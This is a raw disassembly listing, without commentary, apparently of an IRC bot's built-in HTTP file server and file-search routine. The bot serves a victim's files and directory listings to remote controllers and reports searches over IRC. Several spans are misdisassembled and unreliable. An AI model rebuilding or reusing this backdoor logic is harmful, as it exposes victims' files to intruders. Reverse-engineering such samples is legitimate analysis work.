		xor	esi, esi
		mov	[ebp+var_4], esi


loc_403186:				; CODE XREF: sub_403079+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_42F910
		test	eax, eax
		jz	loc_40344A
		cmp	esi, [ebp+var_C]
		jnz	short loc_403208
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_42FAAC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40344A
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_4031DA
		lea	edx, [ebp+var_134]


loc_4031CE:				; CODE XREF: sub_403079+15Fj
		cmp	[edx], eax
		jz	short loc_4031DA
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_4031CE


loc_4031DA:				; CODE XREF: sub_403079+14Dj
					; sub_403079+157j
		cmp	ecx, ebx
		jnz	short loc_4031F7
		cmp	ebx, 40h
		jnb	short loc_4031F7
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_4031F7:				; CODE XREF: sub_403079+163j
					; sub_403079+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40344A
		mov	[ebp+var_8], eax
		jmp	loc_40344A
; ---------------------------------------------------------------------------


loc_403208:				; CODE XREF: sub_403079+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_410870
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_410870
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_42FA30
		test	eax, eax
		jg	short loc_40329B
		push	esi
		call	ds:dword_42FAB0
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40344A
		lea	eax, [ebp+var_134]


loc_40325A:				; CODE XREF: sub_403079+1EBj
		cmp	[eax], esi
		jz	short loc_40326B
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40325A
		jmp	loc_40344A
; ---------------------------------------------------------------------------


loc_40326B:				; CODE XREF: sub_403079+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40328F
		lea	eax, [ebp+ecx*4+var_134]


loc_403279:				; CODE XREF: sub_403079+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_403279


loc_40328F:				; CODE XREF: sub_403079+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40344A
; ---------------------------------------------------------------------------


loc_40329B:				; CODE XREF: sub_403079+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_410870
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_410A70
		add	esp, 10h
		test	eax, eax
		jbe	loc_40344A


loc_4032C9:				; CODE XREF: sub_403079+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40336E
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4109F0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403342
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_410A70
		cmp	eax, 5
		pop	ecx
		jbe	short loc_403342
		mov	eax, offset asc_41E954 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_4109F0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_4109F0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_411BC0
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_411AD0
		add	esp, 10h
		jmp	short loc_403359
; ---------------------------------------------------------------------------


loc_403342:				; CODE XREF: sub_403079+27Fj
					; sub_403079+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_41E950 ; "\r\n"
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40338D


loc_403359:				; CODE XREF: sub_403079+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_410870
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40336E:				; CODE XREF: sub_403079+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_410A70
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_4032C9
		jmp	loc_40344A
; ---------------------------------------------------------------------------


loc_40338D:				; CODE XREF: sub_403079+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_4033D7
		lea	eax, [ebp+var_134]


loc_403399:				; CODE XREF: sub_403079+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_4033AA
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_403399
		jmp	short loc_4033DA
; ---------------------------------------------------------------------------


loc_4033AA:				; CODE XREF: sub_403079+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_4033CE
		lea	eax, [ebp+ecx*4+var_134]


loc_4033B8:				; CODE XREF: sub_403079+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_4033B8


loc_4033CE:				; CODE XREF: sub_403079+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_4033DA
; ---------------------------------------------------------------------------


loc_4033D7:				; CODE XREF: sub_403079+318j
		mov	esi, [ebp+var_4]


loc_4033DA:				; CODE XREF: sub_403079+32Fj
					; sub_403079+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_403443
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_410A70
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_410A70
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_403443
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_42FAB4
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_403656
		add	esp, 14h
		jmp	short loc_40344A
; ---------------------------------------------------------------------------


loc_403443:				; CODE XREF: sub_403079+369j
					; sub_403079+38Fj
		push	esi
		call	ds:dword_42FAB0


loc_40344A:				; CODE XREF: sub_403079+11Dj
					; sub_403079+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_403186
		jmp	loc_403150
; ---------------------------------------------------------------------------


loc_40345F:				; CODE XREF: sub_403079+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_403464:				; CODE XREF: sub_403079+6Aj
					; sub_403079+92j ...
		call	ds:dword_42F9AC
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_41E908
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_4034AA
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_40DFB2
		add	esp, 14h


loc_4034AA:				; CODE XREF: sub_403079+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_407AB1
		pop	ecx
		push	edi
		call	ds:dword_42FAB0
		push	[ebp+var_254]
		call	sub_410277
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		push	ebx
		pop	edi
		pop	esi
		pop	ebx
sub_403079	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4034D4	proc near		; DATA XREF: sub_403656+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_1E6AE03D	= dword	ptr  1E6AE045h

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_411C60
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4104AF
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_403539
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40353E
; ---------------------------------------------------------------------------


loc_403539:				; CODE XREF: sub_4034D4+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40353E:				; CODE XREF: sub_4034D4+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4104AF
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		adc	[ebp+arg_1E6AE03D], ecx
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A70000h
		xchg	eax, esi
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_4035B7
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4104AF
		add	esp, 24h
		jmp	short loc_4035D8
; ---------------------------------------------------------------------------


loc_4035B7:				; CODE XREF: sub_4034D4+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4104AF
		add	esp, 28h


loc_4035D8:				; CODE XREF: sub_4034D4+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_42FA68
		cmp	[ebp+var_A4], edi
		jnz	short loc_403618
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_403F88
		pop	ecx
		pop	ecx
		jmp	short loc_403635
; ---------------------------------------------------------------------------


loc_403618:				; CODE XREF: sub_4034D4+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_403906
		add	esp, 10h


loc_403635:				; CODE XREF: sub_4034D4+142j
		push	[ebp+var_44C]
		call	ds:dword_42FAB0
		push	[ebp+var_B4]
		call	sub_410277
		pop	ecx
		push	edi
		call	near ptr 0A70000h
		arpl	[edi+5Eh], bx
sub_4034D4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403656	proc near		; CODE XREF: sub_403079+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_410870
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40368C
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_403695
; ---------------------------------------------------------------------------


loc_40368C:				; CODE XREF: sub_403656+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_403695:				; CODE XREF: sub_403656+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_410A70
		test	eax, eax
		pop	ecx
		jbe	short loc_403730
		mov	[ebp+arg_8], 2


loc_4036C0:				; CODE XREF: sub_403656+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_410A70
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_403700
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_403700
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_403700
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_403700
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40371A
; ---------------------------------------------------------------------------


loc_403700:				; CODE XREF: sub_403656+7Aj
					; sub_403656+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_403710
		push	5Ch
		pop	eax
		jmp	short loc_403713
; ---------------------------------------------------------------------------


loc_403710:				; CODE XREF: sub_403656+B3j
		movsx	eax, al


loc_403713:				; CODE XREF: sub_403656+B8j
		mov	[ebp+ebx+var_210], al


loc_40371A:				; CODE XREF: sub_403656+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_410A70
		cmp	esi, eax
		pop	ecx
		jb	short loc_4036C0


loc_403730:				; CODE XREF: sub_403656+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_314]
		push	offset asc_41EC08 ; "\n"
		push	eax
		call	sub_411BC0
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_41C074	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40377E
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_403781
		push	[ebp+arg_0]
		jmp	short loc_4037FD
; ---------------------------------------------------------------------------


loc_40377E:				; CODE XREF: sub_403656+11Cj
		mov	[ebp+var_4], esi


loc_403781:				; CODE XREF: sub_403656+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40378E
		mov	[ebp+var_4], esi


loc_40378E:				; CODE XREF: sub_403656+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_403808
		cmp	[ebp+arg_C], edi
		jz	short loc_4037FC
		lea	eax, [ebp+var_314]
		push	offset asc_41EC04 ; "*"
		push	eax
		call	sub_411AE0
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_404045
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_403857
; ---------------------------------------------------------------------------


loc_4037FC:				; CODE XREF: sub_403656+14Fj
		push	ebx


loc_4037FD:				; CODE XREF: sub_403656+126j
		call	ds:dword_42FAB0
		jmp	loc_4038FF
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_403656+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_41C070	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_403857
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4104AF
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0A70000h
		xchg	eax, ebx
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_41C068	; CloseHandle


loc_403857:				; CODE XREF: sub_403656+1A4j
					; sub_403656+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_41EBC0
		push	eax
		call	sub_4104AF
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40FF5B
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_434BAC[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_4034D4
		push	edi
		push	edi
		call	ds:dword_41C064	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_434BBC[ecx], eax
		jz	short loc_4038D1


loc_4038BF:				; CODE XREF: sub_403656+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4038FF
		push	5
		call	ds:dword_41C050	; Sleep
		jmp	short loc_4038BF
; ---------------------------------------------------------------------------


loc_4038D1:				; CODE XREF: sub_403656+267j
		push	ebx
		call	ds:dword_42FAB0
		call	ds:dword_41C060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_41EB74
		push	eax
		call	sub_4104AF
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_407AB1
		add	esp, 10h


loc_4038FF:				; CODE XREF: sub_403656+1ADj
					; sub_403656+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_403656	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403906	proc near		; CODE XREF: sub_4034D4+159p
					; seg000:0040CAADp

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_75		= byte ptr -75h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_410870
		mov	edi, [ebp+arg_0]
		push	offset asc_41EC08 ; "\n"
		push	edi
		call	sub_411BC0
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_403965
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 14h
		jmp	loc_403A62
; ---------------------------------------------------------------------------


loc_403965:				; CODE XREF: sub_403906+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_403A48
		call	sub_410A70
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		push	edi
		call	sub_410A70
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 0Ch
		jmp	short loc_403A62
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_403906+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 10h


loc_403A62:				; CODE XREF: sub_403906+5Aj
					; sub_403906+140j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		cmp	[ebp+arg_C], ebx
		jz	short loc_403AFA
		push	[ebp+arg_C]
		call	sub_410A70
		cmp	eax, 2
		pop	ecx
		jbe	short loc_403AFA
		push	[ebp+arg_C]
		call	sub_410A70
		sub	eax, 3
		pop	ecx
		jz	short loc_403AAE


loc_403AA2:				; CODE XREF: sub_403906+1A6j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_403AAE
		dec	eax
		jnz	short loc_403AA2


loc_403AAE:				; CODE XREF: sub_403906+19Aj
					; sub_403906+1A3j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_411C90
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 1Ch
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68


loc_403AFA:				; CODE XREF: sub_403906+17Ej
					; sub_403906+18Cj
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		call	ds:dword_41C088	; FindFirstFileA
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		call	ds:dword_41C084	; FindNextFileA
		test	eax, eax
		jz	loc_403EEB
		mov	edi, 1FFh


loc_403B26:				; CODE XREF: sub_403906+5DFj
		cmp	[ebp+var_388], ebx
		jz	loc_403ED3
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ED3
		lea	eax, [ebp+var_35C]
		push	offset a__0	; "."
		push	eax
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ED3
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		call	near ptr 0A70000h
		pop	esp
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0A70000h
		mov	cl, 66h
		mov	eax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_403B9B
		mov	ecx, offset aAm	; "AM"


loc_403B9B:				; CODE XREF: sub_403906+28Ej
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_403BA7
		sub	eax, 0Ch


loc_403BA7:				; CODE XREF: sub_403906+29Cj
		push	ecx
		movzx	ecx, word ptr [ebp+var_10+2]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_4104AF
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_403D54
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_403C28
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41099A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 28h
		jmp	loc_403EA4
; ---------------------------------------------------------------------------


loc_403C28:				; CODE XREF: sub_403906+2DBj
		cmp	[ebp+arg_C], ebx
		jz	loc_403D12
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_410A70
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_403CC8
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_403CCD
; ---------------------------------------------------------------------------


loc_403CC8:				; CODE XREF: sub_403906+3B9j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"


loc_403CCD:				; CODE XREF: sub_403906+3C0j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41099A
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_410A70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	ds:dword_42FA68
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_403E95
; ---------------------------------------------------------------------------


loc_403D12:				; CODE XREF: sub_403906+325j
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS_0	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41099A
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"


loc_403D3F:				; CODE XREF: sub_403906+476j
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 24h
		jmp	loc_403EA4
; ---------------------------------------------------------------------------


loc_403D54:				; CODE XREF: sub_403906+2CFj
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_403D7E
		push	ebx
		push	[ebp+var_368]
		call	sub_408306
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
